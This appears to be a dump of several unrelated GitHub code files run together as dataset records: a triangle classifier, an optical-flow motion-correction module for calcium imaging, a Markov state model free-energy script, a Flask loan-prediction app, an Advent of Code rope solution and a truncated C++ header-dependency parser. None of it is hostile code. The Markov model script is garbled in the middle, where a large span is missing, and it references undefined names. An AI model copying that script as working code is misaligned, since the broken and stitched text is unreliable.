range(3):\n a = int(input())\n \n if a in A:\n ans = 'Isosceles'\n A.append(a)\n if a == 60:\n b += 1\n\n\nif b == 3:\n print('Equilateral')\n \nelif sum(A) == 180:\n if ans == 'Isosceles':\n print(ans)\n else:\n print('Scalene')\nelse:\n print('Error')","repo_name":"jhkim9028/TIL","sub_path":"Baekjoon/10101.py","file_name":"10101.py","file_ext":"py","file_size_in_byte":363,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"14517789479","text":"\"\"\"\nofco\n\nAn optical flow-based motion correction algorithm for 2-photon calcium images.\n\nUsage:\n ofco [-v | --verbose] [--frames=] \n ofco -h | --help\n\nOptions:\n -h --help Show this screen.\n -v --verbose Verbose output.\n --frames= Number of frames to correct [default: all].\n\"\"\"\n\nimport os\nimport multiprocessing as mp\nfrom timeit import default_timer as timer\nimport numpy as np\nfrom skimage import io\nfrom docopt import docopt\n\nfrom .utils import default_parameters, midway, crop_fit_size_center\nfrom .warping import bilinear_interpolate\nfrom .optflow import optical_flow_estimation\n\n\ndef compute_motion(I1, I2, param, initial_w=None):\n sz0 = I1.shape\n\n I1 = np.pad(I1, [param[\"padding\"], param[\"padding\"]], \"edge\")\n I2 = np.pad(I2, [param[\"padding\"], param[\"padding\"]], \"edge\")\n if initial_w is not None:\n initial_w = np.pad(\n initial_w,\n [\n (param[\"padding\"], param[\"padding\"]),\n (param[\"padding\"], param[\"padding\"]),\n (0, 0),\n ],\n mode=\"constant\",\n constant_values=0,\n )\n\n # Optical flow\n w = optical_flow_estimation(I1, I2, sz0, param, initial_w=initial_w)\n\n w = crop_fit_size_center(w, [sz0[0], sz0[1], 2])\n return w\n\n\ndef parallel_compute_motion(t):\n i2 = global_stack1_rescale[t + 1, :, :].copy()\n [i10, i2] = midway(global_i1.copy(), i2)\n if global_initial_w is not None:\n return compute_motion(i10, i2, global_param, global_initial_w[t])\n else:\n return compute_motion(i10, i2, global_param)\n\n\ndef apply_motion_field(stack1, stack2, w, frames):\n\n stack1_warped = stack1\n\n if stack2 is not None:\n stack2_warped = stack2\n else:\n stack2_warped = None\n\n for t in range(len(frames) - 1):\n stack1_warped[t + 1, :, :] = bilinear_interpolate(\n stack1[t + 1, :, :], w[t, :, :, 0], w[t, :, :, 1]\n )\n if stack2 is not None:\n stack2_warped[t + 1, :, :] = bilinear_interpolate(\n stack2[t + 1, :, :], w[t, :, :, 0], w[t, :, :, 1]\n )\n return stack1_warped, stack2_warped\n\n\ndef motion_compensate(\n stack1,\n stack2,\n frames,\n param,\n verbose=False,\n parallel=True,\n w_output=None,\n initial_w=None,\n ref_frame=None,\n):\n if initial_w is not None and len(frames) - 1 != len(initial_w):\n raise ValueError(\n \"Number of frames does not match the number of displacement vector fields provided in initial_w.\"\n )\n\n start = timer()\n stack1 = stack1[frames, :, :]\n if stack2 is not None:\n stack2 = stack2[frames, :, :]\n if ref_frame is not None:\n stack1 = np.concatenate((ref_frame[np.newaxis], stack1), axis=0)\n if stack2 is not None: \n stack2 = np.concatenate((ref_frame[np.newaxis], stack2), axis=0)\n frames = (0,) + tuple(frames)\n stack1_rescale = (\n (stack1 - np.amin(stack1)) / (np.amax(stack1) - np.amin(stack1)) * 255\n )\n end = timer()\n if verbose:\n print(\"Time it took to normalize images {}\".format(end - start))\n\n # Motion estimation\n start = timer()\n w_shape = (\n stack1_rescale.shape[0] - 1,\n stack1_rescale.shape[1],\n stack1_rescale.shape[2],\n 2,\n )\n\n i1 = stack1_rescale[frames[0], :, :]\n if parallel:\n global global_stack1_rescale\n global_stack1_rescale = stack1_rescale\n global global_i1\n global_i1 = i1\n global global_param\n global_param = param\n global global_initial_w\n global_initial_w = initial_w\n with mp.Pool(28) as pool:\n w = pool.map(parallel_compute_motion, range(len(frames) - 1))\n w = np.array(w)\n del global_stack1_rescale\n del global_i1\n del global_param\n else:\n w = np.zeros(w_shape)\n for t in range(len(frames) - 1):\n if verbose:\n print(\"Frame {}\\n\".format(t))\n i2 = stack1_rescale[t + 1, :, :]\n [i10, i2] = midway(i1, i2)\n if initial_w is not None:\n w[t, :, :, :] = compute_motion(i10, i2, param, initial_w[t])\n else:\n w[t, :, :, :] = compute_motion(i10, i2, param)\n del i2\n del i10\n end = timer()\n if verbose:\n print(\"Time it took to compute motion field w {}\".format(end - start))\n\n del i1\n del stack1_rescale\n\n start = timer()\n stack1_warped, stack2_warped = apply_motion_field(stack1, stack2, w, frames)\n end = timer()\n if verbose:\n print(\"Time it took to warp images {}\".format(end - start))\n\n if ref_frame is not None:\n stack1_warped = stack1_warped[1:]\n if stack2_warped is not None:\n stack2_warped = stack2_warped[1:]\n\n if w_output is not None:\n np.save(w_output, w)\n\n return stack1_warped, stack2_warped\n\n\ndef main(stack1, stack2, output_dir, frames=-1, verbose=False, **kwargs):\n \"\"\"\n Parameters\n ----------\n stack1 : string\n Path to stack with constant brightness (e.g. tdTom).\n stack2 : string or None\n Path to stack with functional information (e.g. GCamP).\n If None, None is returned instead of a warped image.\n output_dir : string\n Path to the output directory. If it does not exist it is\n created.\n frames : int or list of int, optional\n Frames that are motion corrected.\n Default is -1, which means all frames in the stack are considered.\n verbose : boolean\n Default False.\n\n Additional keyword arguments can be used to change the parameters of the\n algorithm. For a description of the parameters see the default_parameters.\n \"\"\"\n # Parameters\n param = default_parameters()\n for key, value in kwargs.items():\n param[key] = value\n\n start = timer()\n stack1 = io.imread(stack1)\n stack2 = io.imread(stack2)\n end = timer()\n if verbose:\n print(\"Time it took to load images {}\".format(end - start))\n\n assert stack1.shape == stack2.shape\n\n if frames == -1:\n frames = range(len(stack1))\n elif type(frames) == int:\n assert frames <= stack1.shape[0]\n frames = range(frames)\n\n os.makedirs(output_dir, exist_ok=True)\n\n output1 = os.path.join(output_dir, \"warped1.tif\")\n output2 = os.path.join(output_dir, \"warped2.tif\")\n\n stack1_warped, stack2_warped = motion_compensate(\n stack1, stack2, frames, param, verbose, parallel=False\n )\n\n start = timer()\n io.imsave(output1, stack1_warped.astype(np.float32))\n io.imsave(output2, stack2_warped.astype(np.float32))\n end = timer()\n if verbose:\n print(\"Time it took to save images {}\".format(end - start))\n\n\ndef cli():\n args = docopt(__doc__)\n if args[\"--frames\"] == \"all\":\n frames = -1\n else:\n frames = int(args[\"--frames\"])\n main(\n args[\"\"],\n args[\"\"],\n args[\"\"],\n verbose=args[\"--verbose\"],\n frames=frames,\n )\n\n\nif __name__ == \"__main__\":\n args = docopt(__doc__)\n if args[\"--frames\"] == \"all\":\n frames = -1\n else:\n frames = int(args[\"--frames\"])\n main(\n args[\"\"],\n args[\"\"],\n args[\"\"],\n verbose=args[\"--verbose\"],\n frames=frames,\n )\n","repo_name":"NeLy-EPFL/ofco","sub_path":"ofco/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":7392,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"7721324185","text":"#!/usr/bin/python3\n\n'''\n Script by: Jacob R Remington\n Dillon R McCarthy\n Jianing Li(*)\n Severin T. Schneebeli(**)\n\n The results of this script are reproduceable given the datafiles in ,\nwhich are the results of the CV analysis for all simulations. the MSM is saved as\n, cluster centers as , and mean\nfirst passage time (MFPT) as .\n\n(*) Corresponding author\n(**) Corresponding author (secondary)\n'''\n\nimport numpy as np\nimport sys\nimport os\nimport subprocess\nfrom matplotlib import pyplot as plt\nimport matplotlib\nimport matplotlib.gridspec as gridspec\nfrom matplotlib.ticker import MultipleLocator, FormatStrFormatter, AutoMinorLocator, MaxNLocator, PercentFormatter\nimport matplotlib.colors as mcolors\nfrom matplotlib import colors\nfrom matplotlib.colors import Normalize\nfrom matplotlib import cm\nimport pyemma as pym\nfrom pyemma.coordinates import cluster_kmeans as kmeans, cluster_regspace as regspace, assign_to_centers as as_t_c\nimport tol_colors as tc\nfrom readin_replicas import *\nimport scipy.stats as st\nfrom scipy.spatial import Voronoi, voronoi_plot_2d\nfrom shapely.geometry import Point\nfrom shapely.geometry.polygon import Polygon\nfont = {'family' : 'Arial',\n 'size' : 12}\n\nmatplotlib.rc('font', **font)\n#config=pym.util._config.Config\n##print(config.__dict__)\n#config.pyemma_njobs=1\n#config.omp_num_threads=1\n#exit()\n#-------------------------------------------------------------------------------#\n#step 1: read in data\ndat_array = gen_paths('cv_results.dat',nreps=5) #all the dat files\ndat = make_loa(dat_array)#,dims=\"all\") #read it in to an object\n\ndef load_stuff(datf):\n dats=[]\n with open(datf,'r') as fh:\n for line in fh:\n if \"#\" not in line: #read in the very first line\n stuff=line.strip().split(\",\")\n dats.append(np.array([float(x) for x in stuff[1:3]]))\n return np.stack(dats,axis=0)\n\n\n#### run mode params\nout_directory='1\nkde_Prob_prediction_in=kde_Prob_prediction_in/np.sum(kde_Prob_prediction_in)\nkde_Prob_prediction_out=kde_Prob_prediction_out/np.sum(kde_Prob_prediction_out)\nkT=1.987*(300)/1000#kcal/molK assumes\nfree_energy_in=-np.log(kde_Prob_prediction_in)*kT\nfree_energy_out=-np.log(kde_Prob_prediction_out)*kT\nfree_energy_in-=np.min(free_energy_in)\nfree_energy_out-=np.min(free_energy_out)\n\n#----------------------------------------------------------------------------------------------------------------\n#----------------------------------------------------------------------------------------------------------------\n#KMEANS TIME!\nif recluster:\n clust_obj_1 = kmeans(r_loa,k=50,max_iter=1000,n_jobs=1)\n #clust_obj_1 = regspace(r_loa,dmin=,max_iter=1000,n_jobs=1)# this is for looking at the regspace\n clust_cent_1 = clust_obj_1.clustercenters\n dtrajs_1=clust_obj_1.dtrajs\n np.save(out_directory+\"cluster_centers.npy\",clust_cent_1)\n\nelse: #this reloads the cluster centers!\n clust_cent_1=np.load(out_directory+\"cluster_centers.npy\")\n dtrajs_1=ass_t_c(r_loa,clust_cent_1)\n\n\n#----------------------------------------------------------------------------------------------------------------\n#----------------------------------------------------------------------------------------------------------------\n#Plot the cluster centers\nnorm=matplotlib.colors.LogNorm()\nfigure=plt.figure(figsize=(3.5,3.5))\nplt.hist2d(np.concatenate(r_loa,axis=0)[:,0],np.concatenate(r_loa,axis=0)[:,1],norm=norm,bins=20,cmap='nipy_spectral')\nplt.tick_params(axis='both',direction='in')\nplt.xticks([50,60,70,80])\nplt.yticks([0.,5.,10,15,20])\nplt.xlabel(\"Out of Plane Distance / \"+r\"$\\AA$\")\nplt.ylabel(\"In Plane Distance / \"+r\"$\\AA$\")\ncbar2=plt.colorbar()\ncbar2.ax.get_yaxis().labelpad = 15\ncbar2.set_label('Counts', rotation=270)\nplt.scatter(clust_cent_1[:,0],clust_cent_1[:,1],color='k')\nplt.tight_layout()\nplt.savefig(out_directory+\"Figure_clusters.png\",transparent=True,dpi=300)\nplt.show()\n\n#----------------------------------------------------------------------------------------------------------------\n#----------------------------------------------------------------------------------------------------------------\n#Plot the implied timescales\ntica_imp_obj_1=pym.msm.its(dtrajs_1,lags=np.arange(1,300,5),reversible=True)#,errors='bayes',nsamples=50)\n\npym.plots.plot_implied_timescales(tica_imp_obj_1,ylog=True,nits=10,units='ns',dt=0.01)#units='steps')\nplt.savefig(out_directory+\"Figure_impts.png\",transparent=True,dpi=300)\nplt.show()\n\n\n#----------------------------------------------------------------------------------------------------------------\n#----------------------------------------------------------------------------------------------------------------\n# MSM Parameters\nlag = 100 #chosen from plot of implied timescales\ntimestep = 10 # 10ps recording inverval\nconvert = 1000/(lag*timestep)\nconvert2=1000/timestep\nnsampl=500\nprint(convert)\n# x transitions/lag_time * 1 lag/30 steps * 1 step/20 ps * 1000 ps/1 ns\n\n#Estimate the MSM\n#Normal MSM\nif recalc_MSM:\n msm_1 = pym.msm.bayesian_markov_model(dtrajs_1, lag, reversible=True,nsamples=nsampl) #this is the msm itself\n msm_1.save(out_directory+'bay_hmsm_lag'+str(lag)+'_samples'+str(nsampl)+'.h5',overwrite=True)\nelse:\n msm_1=pym.load(out_directory+'bay_hmsm_lag'+str(lag)+'_samples'+str(nsampl)+'.h5') #loads in the MSM if already done\n\n#plot slowest eigenvector\ndef plot_veronin_cmapped(axed,vec_to_color):\n #colorrs=(vec_to_color)\n normalize = matplotlib.colors.Normalize(vmin=np.min(vec_to_color), vmax=np.max(vec_to_color))\n cmap=plt.get_cmap(\"bwr\")\n scalarMap = matplotlib.cm.ScalarMappable(norm=normalize, cmap=cmap)\n points=clust_cent_1[msm_1.active_set]\n big_n=100.\n big_points=np.array([[-big_n,-big_n],[-big_n,big_n],[big_n,-big_n],[big_n,big_n]])\n points=np.concatenate([points,big_points],axis=0)\n vor = Voronoi(points)\n\n voronoi_plot_2d(vor,ax=axed,show_points=False,show_vertices=False,point_color='k')\n for region in vor.regions:\n if not -1 in region:\n polygon = [vor.vertices[i] for i in region]\n if len(polygon)>0:\n polygon_shapely = Polygon(polygon)\n #determine which state this is\n for activei,statei in enumerate(msm_1.active_set):\n point = Point(clust_cent_1[statei,0],clust_cent_1[statei,1])\n if polygon_shapely.contains(point):\n ind=activei\n break\n axed.fill(*zip(*polygon),color=scalarMap.to_rgba(vec_to_color[ind]))#,cmap=the_cmap)#plt.get_cmap(\"bwr\")(vec_to_color[ind]),vmin=np.min(vec_to_color),vmax=np.max(vec_to_color)\n axed.set_xlim([np.min(r_loa_cat[:,0]),np.max(r_loa_cat[:,0])])\n axed.set_ylim([np.min(r_loa_cat[:,1]),np.max(r_loa_cat[:,1])])\n axed.tick_params(axis='both',direction='in')\n axed.set_xlabel(\"Out of Plane Distance / \"+r\"$\\AA$\")\n axed.set_ylabel(\"In Plane Distance / \"+r\"$\\AA$\")\n axed.scatter(clust_cent_1[msm_1.active_set,0],clust_cent_1[msm_1.active_set,1],c='k',alpha=1,s=3, zorder=10)\n\nfig=plt.figure(figsize=(3.5,3.5))\naxe=fig.add_subplot()\nplot_veronin_cmapped(axe,msm_1.eigenvectors_right()[:,i])\nplt.tight_layout()\nplt.savefig(out_directory+\"Figure_slowest_evec.png\",transparent=True,dpi=300)\nplt.show()\n\n\n\n#may need to account for the active_set if pyemma removed some states\nkde = st.gaussian_kde(clust_cent_1[msm_1.active_set].T,weights=msm_1.pi)#,bw_method=0.5)#\n#minn,maxx=np.min(r_loa_cat,axis=0),np.max(r_loa_cat,axis=0)\n#X,Y=np.meshgrid(np.linspace(minn[0],maxx[0],ngrid),np.linspace(minn[1],maxx[1],ngrid))\n#XY=np.stack([X.flatten(),Y.flatten()],axis=1).T\n#compute probability at each grid point\nkde_Prob_prediction=np.reshape(kde(XY),(ngrid,ngrid))\n#convert to free energy\n#ensure sum ->1\nkde_Prob_prediction=kde_Prob_prediction/np.sum(kde_Prob_prediction)\n\nfree_energy_msm=-np.log(kde_Prob_prediction)*kT\nfree_energy_msm-=np.min(free_energy_msm)\n\n\nfig,axes=plt.subplots(ncols=3,figsize=(6.5,3))\n\nenergy_cut=10.\nfree_energy_in[free_energy_in>=energy_cut]=energy_cut\nfree_energy_out[free_energy_out>=energy_cut]=energy_cut\nfree_energy_msm[free_energy_msm>=energy_cut]=energy_cut\n\n\npltt=axes[0].contourf(X,Y,free_energy_in,levels=nlevl,cmap='nipy_spectral')\ncbar0=plt.colorbar(pltt,ax=axes[0])\ncbar0.ax.get_yaxis().labelpad = 15\naxes[0].set_xlabel(\"Out of Plane Distance / \"+r\"$\\AA$\")\naxes[0].set_ylabel(\"In Plane Distance / \"+r\"$\\AA$\")\naxes[0].set_xticks([0,25,50,75])\n#cbar0.set_label('Relative Free Energy / kcal/mol', rotation=270)\n\npltt=axes[1].contourf(X,Y,free_energy_msm,levels=nlevl,cmap='nipy_spectral')\naxes[1].set_xlabel(\"Out of Plane Distance / \"+r\"$\\AA$\")\naxes[1].set_xticks([0,25,50,75])\ncbar1=plt.colorbar(pltt,ax=axes[1])\ncbar1.ax.get_yaxis().labelpad = 15\n#cbar1.set_label('Relative Free Energy / kcal/mol', rotation=270)\n#plt.scatter(clust_cent_1[:,0],clust_cent_1[:,1],color='k',alpha=0.5)\n#plt.xlabel(\"Out of Plane Distance / Ang\")\n#plt.ylabel(\"In Plane Distance / Ang\")\n\npltt=axes[2].contourf(X,Y,free_energy_out,levels=nlevl,cmap='nipy_spectral')\naxes[2].set_xlabel(\"Out of Plane Distance / \"+r\"$\\AA$\")\naxes[2].set_xticks([0,25,50,75])\ncbar2=plt.colorbar(pltt,ax=axes[2])\ncbar2.ax.get_yaxis().labelpad = 15\ncbar2.set_label('Relative Free Energy / kcal/mol', rotation=270)\nplt.tight_layout()\n\nplt.savefig(out_directory+\"Figure_3_FES.png\",transparent=True,dpi=300)\nplt.show()\n\n#exit()\n\n#better to define 3 regions frist\n#A: x<=37.0 and any Y\n#A_B:x>37.0 and x<=50.0 and any Y\n#B: x>=50.0 and x <=60.0 and any Y\n#B_C: x>=6 and X <=70 and Y> 5 and Y <22.5\n#C: union (x>=60 and X <=70 Y <= 5),(x>=60 and X <=70 Y >22.5), (X>70)\nAB_bounds=[45,50]\nBC_bounds=[58,63]\nregion_A=np.argwhere(X<=AB_bounds[0])\nregion_AB=np.argwhere(np.logical_and(X>AB_bounds[0],X<=AB_bounds[1]))\nregion_B=np.argwhere(np.logical_and(X>AB_bounds[1],X<=BC_bounds[0]))\nregion_BC=np.argwhere(np.logical_and(X>BC_bounds[0],X<=BC_bounds[1]))\nregion_C=np.argwhere(X>BC_bounds[1])\n\nconf_energy=10.0\n#find locations where free_energy of each is <=conf_energy kcal/mol (we are using this as regions we are confident, like A in the cartoon)\n\n#shift free_energy_in to miminze difference between FES in this region\ndef region_error(fes_1,fes_2):\n return np.average(np.abs(fes_1-fes_2))\nnshift=1000#~numerical precision on search, more shifts means more accurate\nshifts=np.linspace(-10,10,nshift)\n\n\n\nlocs_msm_in_overlap=region_AB#np.argwhere(np.logical_and(free_energy_msm<=conf_energy,free_energy_in<=conf_energy))\nfree_energy_msm_in_region=np.array([free_energy_msm[x[0],x[1]] for x in locs_msm_in_overlap if all([free_energy_msm[x[0],x[1]] < conf_energy,free_energy_in[x[0],x[1]] < conf_energy])])\nfree_energy_in_msm_region=np.array([free_energy_in[x[0],x[1]] for x in locs_msm_in_overlap if all([free_energy_msm[x[0],x[1]] < conf_energy,free_energy_in[x[0],x[1]] < conf_energy])])\n#now find locations where msm and out overlap\nlocs_msm_out_overlap=region_BC#np.argwhere(np.logical_and(free_energy_msm<=conf_energy,free_energy_out<=conf_energy))\nfree_energy_msm_out_region=np.array([free_energy_msm[x[0],x[1]] for x in locs_msm_out_overlap if all([free_energy_msm[x[0],x[1]] < conf_energy,free_energy_out[x[0],x[1]] < conf_energy])])\nfree_energy_out_msm_region=np.array([free_energy_out[x[0],x[1]] for x in locs_msm_out_overlap if all([free_energy_msm[x[0],x[1]] < conf_energy,free_energy_out[x[0],x[1]] < conf_energy])])\n\nerrors_in_msm=[region_error(free_energy_msm_in_region+shift,free_energy_in_msm_region) for shift in shifts]\nin_msm_shift=shifts[np.argmin(errors_in_msm)]\n\n#evaluate error between the shifted msm curve (include in_msm_shift) and the shifted out curve\nerrors_out_msm=[region_error(free_energy_msm_out_region+in_msm_shift,free_energy_out_msm_region+shift) for shift in shifts]\nout_in_shift=shifts[np.argmin(errors_out_msm)]\n\nfree_energy_msm+=in_msm_shift\nfree_energy_out+=out_in_shift\n#use lowest energy estimate for each at each grid point\nstacked_energy=np.stack([free_energy_in,free_energy_msm,free_energy_out],axis=2)\nfree_energy_final=np.min(stacked_energy,axis=2)\n\n\n##plot errors to verify optimizaiton\nplt.plot(shifts,errors_in_msm,label=\"msm in\")\nplt.plot(shifts,errors_out_msm,label=\"out in\")\nplt.xlabel(\"Energy Shift from in model / kcal/mol\")\nplt.ylabel(\"Overlap Error / kcal/mol\")\nplt.legend()\nplt.tight_layout()\nplt.savefig(out_directory+\"Figure_Energy_Shift.png\",transparent=True,dpi=300)\nplt.show()\n#exit()\n\n\n#now use fes_in to start\n#free_energy_final=np.zeros_like(free_energy_msm)\n#for ind in region_A:\n# free_energy_final[ind[0],ind[1]]=free_energy_in[ind[0],ind[1]]\n#for ind in region_AB:\n# free_energy_final[ind[0],ind[1]]=0.5*(free_energy_msm[ind[0],ind[1]]+in_msm_shift + free_energy_in[ind[0],ind[1]])\n#for ind in region_B:\n# free_energy_final[ind[0],ind[1]]=free_energy_msm[ind[0],ind[1]]+in_msm_shift\n#for ind in region_BC:\n# free_energy_final[ind[0],ind[1]]=0.5*(free_energy_msm[ind[0],ind[1]]+in_msm_shift + free_energy_out[ind[0],ind[1]]+out_in_shift)\n#for ind in region_C:\n# free_energy_final[ind[0],ind[1]]=free_energy_out[ind[0],ind[1]]+out_in_shift\n\nfree_energy_final=free_energy_final-np.min(free_energy_final)\n\nfig=plt.figure(figsize=(6.5,3.5))\nfree_energy_final[free_energy_final>=10]=10\nplt.contourf(X,Y,free_energy_final,levels=nlevl,cmap='nipy_spectral')\ncbar=plt.colorbar()\ncbar.ax.get_yaxis().labelpad = 15\ncbar.set_label('Relative Free Energy / kcal/mol', rotation=270)\nplt.tick_params(axis='both',direction='in')\nplt.xlabel(\"Out of Plane Distance / \"+r\"$\\AA$\")\nplt.ylabel(\"In Plane Distance / \"+r\"$\\AA$\")\nplt.tight_layout()\nplt.savefig(out_directory+\"Figure_FES.png\",transparent=True,dpi=300)\nplt.show()\n\n#\n\nmsm_in_states=[x[0] for x in np.argwhere(clust_cent_1[msm_1.active_set,0]<=50.)]\nmsm_out_states=[x[0] for x in np.argwhere(clust_cent_1[msm_1.active_set,0]>=65.)]\nprint(msm_in_states)\nprint(msm_out_states)\n\n\nif recalc_mfpt:\n in_out_mfpt=msm_1.sample_mean('mfpt', msm_in_states, msm_out_states)/convert2\n out_in_mfpt=msm_1.sample_mean('mfpt', msm_out_states, msm_in_states)/convert2\n in_out_mfpt_err=msm_1.sample_std('mfpt', msm_in_states, msm_out_states)/convert2\n out_in_mfpt_err=msm_1.sample_std('mfpt', msm_out_states, msm_in_states)/convert2\n np.save(out_directory+'mfpts_lag'+str(lag)+'_samples'+str(nsampl)+'.npy',[in_out_mfpt,out_in_mfpt,in_out_mfpt_err,out_in_mfpt_err])\nelse:\n stuff=np.load(out_directory+'mfpts_lag'+str(lag)+'_samples'+str(nsampl)+'.npy')\n in_out_mfpt,out_in_mfpt,in_out_mfpt_err,out_in_mfpt_err=stuff\n\nprint(\"in -> out:\",in_out_mfpt,\"+/-\",in_out_mfpt_err,\"ns\")\nprint(\"out -> in:\",out_in_mfpt,\"+/-\",out_in_mfpt_err,\"ns\")\n","repo_name":"dillonrmccarthy/hsa-swarm-msm-2022","sub_path":"markov_model/run_msm.py","file_name":"run_msm.py","file_ext":"py","file_size_in_byte":17230,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"3791589260","text":"# from crypt import methods\r\nfrom pydoc import allmethods\r\nimport numpy as np\r\nimport pandas as pd\r\nimport sqlalchemy\r\nfrom sqlalchemy.ext.automap import automap_base\r\nfrom sqlalchemy.orm import Session\r\nfrom sqlalchemy import create_engine, inspect, func\r\nimport json\r\nfrom flask import Flask, jsonify, render_template, request \r\n\r\n#################################################\r\n\r\n#################################################\r\napp = Flask(__name__)\r\n#################################################\r\n# Flask Routes\r\n#################################################\r\n\r\n# create route that renders index.html template\r\n@app.route(\"/\")\r\ndef index():\r\n\r\n \r\n return render_template(\"index.html\") \r\n\r\n@app.route(\"/formurl\", methods=[\"post\"])\r\ndef get_values():\r\n\r\n # Get input values for the model from html\r\n input = []\r\n loan_amount = request.form[\"loanamount\"] # for the input\r\n input.append(loan_amount)\r\n income = request.form[\"income\"]\r\n input.append(income)\r\n loantype = request.form[\"type\"]\r\n for i in loantype:\r\n input.append(i)\r\n aeth = request.form[\"aeth\"]\r\n for i in aeth:\r\n input.append(i)\r\n coaeth = request.form[\"coaeth\"]\r\n for i in coaeth: \r\n input.append(i)\r\n arac = request.form[\"arac\"]\r\n for i in arac:\r\n input.append(i)\r\n coarac = request.form[\"coarac\"]\r\n for i in coarac:\r\n input.append(i)\r\n asex = request.form[\"asex\"]\r\n for i in asex:\r\n input.append(i)\r\n coasex = request.form[\"coasex\"]\r\n for i in coasex:\r\n input.append(i)\r\n\r\n print(\"---------------------------------------------\")\r\n print(input)\r\n print(\"---------------------------------------------\")\r\n\r\n import pickle\r\n\r\n\r\n model = pickle.load(open('resources/lr_classifier.pkl', 'rb')) \r\n chance=0\r\n\r\n data = np.array(input)[np.newaxis, :] # converts shape for model test\r\n predict = model.predict(data) # runs model on the data\r\n prob= model.predict_proba(data)\r\n\r\n\r\n if predict == [1]:\r\n prediction = \"We predict success, congratulations!\"\r\n else:\r\n prediction = \"Sorry, you will likely not qualify.\"\r\n\r\n prob= model.predict_proba(data)\r\n\r\n if predict == [1]:\r\n chance = prob[0][1]\r\n else:\r\n chance = prob[0][0]\r\n\r\n print(prediction)\r\n print(\"---------\")\r\n print(chance)\r\n\r\n \r\n model_result = {\r\n \"prediction\":prediction,\r\n \"probability\":str((chance*100)) + '%'\r\n }\r\n \r\n with open('resources/state_summary_remix.json', 'r') as myfile:\r\n data = myfile.read()\r\n\r\n\r\n # Render the result through a html page\r\n return render_template(\"result.html\", result = model_result, stateData=data) \r\n #return render_template(\"index.html\",) \r\n\r\nif __name__ == '__main__':\r\n app.run(debug=True)\r\n","repo_name":"gabriellaburns/project_4","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2826,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"4549946059","text":"from __future__ import annotations\n\nimport os\nfrom typing import Tuple\nimport pytest\n\nINPUT = os.path.join(os.path.dirname(__file__), \"input.txt\")\n\nINPUT_SAMPLE = \"\"\"\\\nR 5\nU 8\nL 8\nD 3\nR 17\nD 10\nL 25\nU 20\n\"\"\"\n\nEXPECTED = 36\n\n\ndef solve(input_long: str) -> int:\n simulation = [line for line in input_long.splitlines()]\n\n visited = {(0, 0)}\n knots = [(0, 0) for _ in range(10)]\n\n for move in simulation:\n direction, distance = move.split()\n\n for _ in range(int(distance)):\n\n head = knots[0]\n if direction.lower() == \"r\":\n knots[0] = (head[0] + 1, head[1])\n elif direction.lower() == \"l\":\n knots[0] = (head[0] - 1, head[1])\n elif direction.lower() == \"u\":\n knots[0] = (head[0], head[1] + 1)\n else:\n knots[0] = (head[0], head[1] - 1)\n\n for idx, knot in enumerate(knots[1::], 1):\n knots[idx] = fix(knots[idx - 1], knot)\n\n visited.add(knots[-1])\n\n return len(visited)\n\n\ndef fix(head: Tuple[int, int], tail: Tuple[int, int]) -> Tuple[int, int]:\n dx = abs(head[0] - tail[0])\n dy = abs(head[1] - tail[1])\n\n # Took me forever to find this case, omg, happens in part 2 but not in part 1\n if dx >= 2 and dy >= 2:\n return (\n head[0] - 1 if tail[0] < head[0] else head[0] + 1,\n head[1] - 1 if tail[1] < head[1] else head[1] + 1,\n )\n\n if dx >= 2:\n return (head[0] - 1 if tail[0] < head[0] else head[0] + 1, head[1])\n\n if dy >= 2:\n return (head[0], head[1] - 1 if tail[1] < head[1] else head[1] + 1)\n\n return tail\n\n\n@pytest.mark.parametrize(\n (\"input_sample\", \"expected\"),\n ((INPUT_SAMPLE, EXPECTED),),\n)\ndef test(input_sample: str, expected: int):\n assert solve(input_sample) == expected\n\n\ndef main() -> None:\n with open(INPUT, \"r\") as file:\n print(solve(file.read()))\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"samkasbawala/AoC2022","sub_path":"day_09/part_2.py","file_name":"part_2.py","file_ext":"py","file_size_in_byte":1964,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"42894903450","text":"# coding: utf-8\n\nimport fnmatch\nfrom .model import Header, SourceFile\n\nclass DepParser(object):\n \"\"\"Read multiple GCC-style header depth trees and combine results.\"\"\"\n def __init__(self, filters=set()):\n self._headers = {}\n self.source_files = []\n self.filters = set(filters)\n\n def _get_header(self, filename):\n header = self._headers.get(filename)\n if not header:\n header = Header(filename)\n self._headers[filename] = header\n return header\n\n def _header_allowed(self, filename):\n if filename is None:\n # Means unknown. only safe to allow\n return True\n # if \"dials\" in filename:\n # import pdb\n # pdb.set_trace()\n return all(fnmatch.fnmatch(filename, pattern) for pattern in self.filters)\n\n @property\n def headers(self):\n return self._headers.items()\n\n @property\n def filtered_headers(self):\n \"\"\"Get the subset of known headers that pass the filters\"\"\"\n return [x for x in self._headers.values() if self._header_allowed(x.name)]\n\n def parse(self, filename, source_filename=None):\n \"Parse a dependency file and add it to the database graph\"\n lines = [x for x in open(filename).readlines() if x.startswith(\".\")]\n\n source_file = SourceFile(source_filename)\n current_owner = [source_file]\n current_depth = 1\n\n for line in lines:\n # Extract depth, filename information from this line\n dots, filename = [x.strip() for x in line.split()]\n depth = len(dots)\n\n # Create the Header node if it doesn't exist\n header = self._get_header(filename)\n\n # Move down the queue if we need to\n assert depth <= current_depth, \"No depth jumps\"\n if depth < current_depth:\n current_owner = current_owner[:depth-current_depth]\n current_depth = depth\n \n # Add this header to the previous owner -only if it is not a filtered header.\n # Otherwise, it will exist in the global list but not be connected\n if self._header_allowed(filename) == self._header_allowed(current_owner[-1].name):\n current_owner[-1].add(header)\n\n # Push this header up the stack\n current_owner.append(header)\n current_depth += 1\n\n assert len(current_owner) >= 1, \"Should never pop last list item\"\n self.source_files.append(source_file)\n return source_file\n\n def asdict(self):\n d = {\n \"source_files\": [x.asdict() for x in sorted(self.source_files, key=lambda x: x.name)],\n \"headers\": [x.asdict() for x in sorted(self.filtered_headers, key=lambda x: x.name)]\n }\n return d\n\n @classmethod\n def fromdict(cls, d):\n \"\"\"From a dictionary, reconstruct the source graph\"\"\"\n parser = cls()\n for dsource in 